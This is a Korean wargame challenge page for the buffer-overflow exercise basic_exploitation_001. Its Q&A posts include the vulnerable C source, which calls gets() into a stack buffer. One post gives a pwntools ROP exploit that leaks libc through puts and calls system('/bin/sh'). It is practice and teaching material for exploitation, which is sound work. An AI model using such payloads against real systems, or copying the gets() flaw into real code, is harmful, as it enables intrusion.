LEVEL 1

basic_exploitation_001

pwnable
  • 문제 정보
  • 풀이 181
  • 난이도 투표 67
  • 질문 12
  • 최근 풀이자 3584
  • 댓글 125

문제 설명

Description

이 문제는 서버에서 작동하고 있는 서비스(basic_exploitation_001)의 바이너리와 소스 코드가 주어집니다.
프로그램의 취약점을 찾고 익스플로잇해 "flag" 파일을 읽으세요.
"flag" 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.

Environment
Ubuntu 16.04
Arch:     i386-32-little
RELRO:    No RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)
Reference

Return Address Overwrite

출제자 정보

avatar
Dreamhack
대표 업적 없음

First Blood!

avatar
mhibio
CTF 초보자
출제된 지 22시간 만에 풀이 완료!

난이도 투표 67

질문 12

문제 풀이에 어려움이 있으신가요?
커뮤니티에서 문제에 대한 질문하고 답변 얻기
basic_exploitation_001 ROP 풀이
basic_exploitation_001 문제를 ROP를 사용해서 풀어보고 있는데 의문점이 생겨서 올립니다. from pwn import * context.log_level = 'debug' #p = remote('host3.dreamhack.games', 15998) p= process('./basic_exploitation_001') e = ELF('./basic_exploitation_001') libc = ELF('/lib/i386-linux-gnu/libc.so.6') #libc = e.libc #binsh = 0xf7f3d0f5 puts_plt = e.plt['puts'] puts_got = e.got['puts'] main = e.symbols['main'] #dummy = b'AAAA' dummy = p32(0x0804864b) # pop ebp ; ret payload = b'A' * 0x84 + p32(puts_plt) payload += dummy payload += p32(puts_got) payload += p32(main) p.sendline(payload) puts = u32(p.recvn(4)) #print('payload1 : ', payload) print('puts : ', hex(puts)) libc_base = puts - libc.symbols['puts'] binsh = libc_base + 0x1bd0f5 #print('binsh : ' + str(p32(binsh))) system_plt = e.plt['system'] system = libc_base + libc.symbols['system'] payload = b'A' * 0x84 + p32(system_plt) payload += dummy payload += p32(binsh) p.sendline(payload) p.interactive() payload를 작성할 때, ret 주소를 덮어 씌운 다음에 4bytes가 저는 argv[0] 가 들어가있는 자리인줄 알고, dummy로 덮은 다음에 함수 인자 값을 넣어줬습니다. 그런데, 계속 안풀려서, rop gadget 아무거나 찾아서 dummy 자리에 넣어보니까 바로 풀렸습니다. 저 ret 다음 4bytes 공간에 ret 가젯을 안 넣어도 첫 페이로드로 puts got값이 leak이 되는거 보면 dummy를 넣어도 우회가 된다는 소리 같은데, system 함수 호출할 때, ret 가젯을 안넣으면 정상적으로 실행이 안되는 이유를 모르겠습니다. gdb를 통해서 하드코딩한 binsh 값이랑 libc_base leak을 해서 구한 binsh값이랑 동일하게 나옵니다.
탈퇴한 이용자
cat /flag 명령에 대한 출력을 recvline 을 이용하는것에 대한 질문
payload를 제출한 후에 read_flag 함수가 실행되면서 flag가 출력이 되기 때문에 p = remote('','') p = remote('') .. 생략 .. flag = p.recvline() print(flag) 이렇게 했는데 Traceback (most recent call last): File "ex.py", line 12, in <module> flag = p.recvline() File "/usr/local/lib/python3.8/dist-packages/pwnlib/tubes/tube.py", line 496, in recvline return self.recvuntil(self.newline, drop = not keepends, timeout = timeout) File "/usr/local/lib/python3.8/dist-packages/pwnlib/tubes/tube.py", line 339, in recvuntil res = self.recv(timeout=self.timeout) File "/usr/local/lib/python3.8/dist-packages/pwnlib/tubes/tube.py", line 104, in recv return self._recv(numb, timeout) or b'' File "/usr/local/lib/python3.8/dist-packages/pwnlib/tubes/tube.py", line 174, in _recv if not self.buffer and not self._fillbuffer(timeout): File "/usr/local/lib/python3.8/dist-packages/pwnlib/tubes/tube.py", line 153, in _fillbuffer data = self.recv_raw(self.buffer.get_fill_size()) File "/usr/local/lib/python3.8/dist-packages/pwnlib/tubes/sock.py", line 56, in recv_raw raise EOFError EOFError 이렇게 오류가 발생했습니다. 어차피 입력을 받아오는것인데 왜 오류가 발생하는건가요?? 찾아보니 프로세스에서 데이터를 보내지 않는다고 하긴 합니다만.. 혹시 stdout과 관련이 있는건 아닌가 조심스럽게 추측해 보겠습니다.
kbtommy9
cat: flag: No such file or directory 에러
❯ python PoC.py [+] Starting local process './basic_exploitation_001': pid 104804 [*] Switching to interactive mode cat: flag: No such file or directory [*] Got EOF while reading in interactive $ [*] Process './basic_exploitation_001' stopped with exit code -11 (SIGSEGV) (pid 104804) [*] Got EOF while sending in interactive 이와 같이 제 로컬 PC에서 스택버퍼오버플로우를 이용해 read_flag 함수를 동작시켰습니다. 그러나, cat: flag: No such file or directory이라는 에러가 발생했습니다. ❯ cat /flag test 하지만 로컬PC에서 임의의 데이터를 삽입한 /flag는 존재하는데, 해당 파일을 못 읽어오는게 의문이 생깁니다. #include <stdio.h> #include <stdlib.h> #include <signal.h> #include <unistd.h> void alarm_handler() { puts("TIME OUT"); exit(-1); } void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, alarm_handler); alarm(30); } void read_flag() { system("cat /flag"); } int main(int argc, char *argv[]) { char buf[0x80]; initialize(); gets(buf); read_flag(); return 0; } 그래서 로컬PC의 환경적 요인 때문에 안된다는 생각이 들어, 문제 코드의 main 함수에 read_flag 함수를 호출해봤습니다. ❯ gcc -g -fno-stack-protector -o test test.c test.c: In function ‘main’: test.c:32:5: warning: implicit declaration of function ‘gets’; did you mean ‘fgets’? [-Wimplicit-function-declaration] 32 | gets(buf); | ^ | fgets /usr/bin/ld: /tmp/ccpgL4yb.o: in function `main': /hack/wargame/lv1_basic_exploitation_001/test.c:32:(.text+0xd3): warning: the `gets' function is dangerous and should not be used. ❯ ./test test 컴파일 후 동작을 시켜보면 /flag 파일을 잘 가져오는 것을 확인할 수 있습니다. 왜 문제에서 제공된 basic_exploitation_001에서만 임의의 생성한 /flag 파일을 못 가져오나요?? 파일 권한 및 사용자 권한 ❯ ls -al basic_exploitation_001 test -rwxr-xr-x 1 root root 5912 2월 13 2024 basic_exploitation_001 -rwxr-xr-x 1 root root 19504 2월 28 03:06 test ❯ ls -al /flag -rw-r--r-- 1 root root 5 2월 28 01:17 /flag ❯ id uid=0(root) gid=0(root) groups=0(root) `
LRTK

최근 풀이자 3584

ihco
대표 업적 없음
MAKESAO
강의 수강: 1
Glenn
워게임 고인물
mogi
대표 업적 없음
xhinjs
대표 업적 없음
IVC
대표 업적 없음
knowledge
대표 업적 없음
개복치
대표 업적 없음
zzzzzzzzzzzzzzzz
대표 업적 없음
avatar
Goldenglow
대표 업적 없음

댓글 125

Ma_Mu0228
대표 업적 없음
실행파일의 아키텍처에 주의하고, gets()의 작동 원리 이해, 버퍼오버플로우 개념만 알면 됩니다
avatar
minmoong0828
세계수
000이랑 001이랑 순서가 바뀐 것 같다
avatar
daeseong
시스템 해킹 입문
매우 쉬운!
해킹배우고시퍼요
대표 업적 없음
eeeez
모나리
대표 업적 없음
000이 001보다 훨씬 어려워요;
O_F
대표 업적 없음
좋습니다.
CYBERKAST
대표 업적 없음
순서 너무한거 아니냐..ㅠㅠ 0번이랑 바꿔!!
catpwn
대표 업적 없음
000이 001 보다 더 어려웠다.....
sinse100
대표 업적 없음
ㅅㅅ
l000wk3y
공부벌레
개인적으로는 basic_exploitation_000 과 basic_exploitation_001 는 문제 순서가 봐뀌어야..